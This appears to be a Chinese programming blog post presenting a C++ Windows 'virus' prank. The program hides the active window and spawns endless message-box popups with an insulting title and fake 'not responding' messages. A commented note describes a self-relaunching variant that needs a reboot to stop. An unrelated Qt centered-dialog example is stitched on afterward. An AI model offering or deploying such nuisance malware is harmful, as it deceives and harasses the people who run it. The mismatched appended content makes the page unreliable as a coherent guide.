C++-无限弹窗

一个小小的病毒程序

#include<windows.h>
#include<fstream>
#include<functional>
#include<iomanip>
#include<ios>
#include<iosfwd>
#include<istream>
#include<iterator>
#include<limits>
#include<list>
#include<locale>
#include<map>
#include<memory>
#include<new>
#include<numeric>
#include<ostream>
#include"cstdio"
#include<queue>
#include<set>
#include<sstream>
#include<stack>
#include<stdexcept>
#include<streambuf>
#include<string>
#include<typeinfo>
#include<utility>
#include<valarray>
#include<vector>
#include"string"
#include<Winioctl.h>
#include<ctime>
#include<cstdlib>
#include<bits/stdc++.h>
#pragma comment (lib, "User32.lib")
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	ShowWindow(GetForegroundWindow(),0);
    while(1)
	{
    	MessageBox(NULL, TEXT("关不掉吧!"), TEXT("中病毒啦~~你这个SB!"), MB_OK);//建立弹窗
    	Sleep(1000);
    	MessageBox(NULL, TEXT("未命名2没有响应"), TEXT("结束进程"), MB_OK);//写你自己的文件名就行了
    	break;
	}
	while(1)
	{
		srand(time(0));
		int n=rand()%1000;//单位毫秒
		MessageBox(NULL, TEXT("未命名2 没有响应"), TEXT(""), MB_OK);
		Sleep(n);
	}//Ctrl+Alt+Del,点任务管理器,结束进程就能关掉
	/*
	这里关机才能关掉的,建议不要尝试
	#include<windows.h>
	using namespace std;
	int main()
	{
		system("start 1.exe");
	}
	*/
    return 0;
}
C++中创建一个居中的弹窗通常需要依赖于特定的图形用户界面(GUI)库,比如Qt、wxWidgets或FLTK等。以下是使用Qt库来创建一个居中弹窗的基本步骤: 1. 首先,确保你的项目中已经包含了Qt的头文件和库文件。 2. 创建一个继承自QWidget的类(如果你是在使用对话框,可以使用QDialog类),然后在这个类中设计你的弹窗界面。 3. 重写该类的`showEvent`方法或者直接在`show`方法中设置弹窗的位置。 以下是使用Qt创建一个居中弹窗的简单示例代码: ```cpp #include <QApplication> #include <QDialog> #include <QGridLayout> #include <QPushButton> class CenteredDialog : public QDialog { public: CenteredDialog(QWidget *parent = nullptr) : QDialog(parent) { // 弹窗的内容设置 setWindowTitle("居中弹窗示例"); auto* layout = new QGridLayout(this); auto* button = new QPushButton("点击关闭", this); layout->addWidget(button, 0, 0); setLayout(layout); } protected: void showEvent(QShowEvent *event) override { QDialog::showEvent(event); // 使用窗口几何信息来居中弹窗 move((parent()->width() - width()) / 2, (parent()->height() - height()) / 2); } }; int main(int argc, char *argv[]) { QApplication app(argc, argv); CenteredDialog dialog; dialog.show(); return app.exec(); } ``` 在这个例子中,`CenteredDialog`类继承自`QDialog`,在其构造函数中定义了弹窗的界面,并重写了`showEvent`方法,在弹窗显示时通过`move`方法将其移动到屏幕中心。 注意,如果弹窗没有父窗口,或者父窗口的尺寸在运行时可能会改变,那么可能需要在父窗口尺寸变化时重新计算并移动弹窗位置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值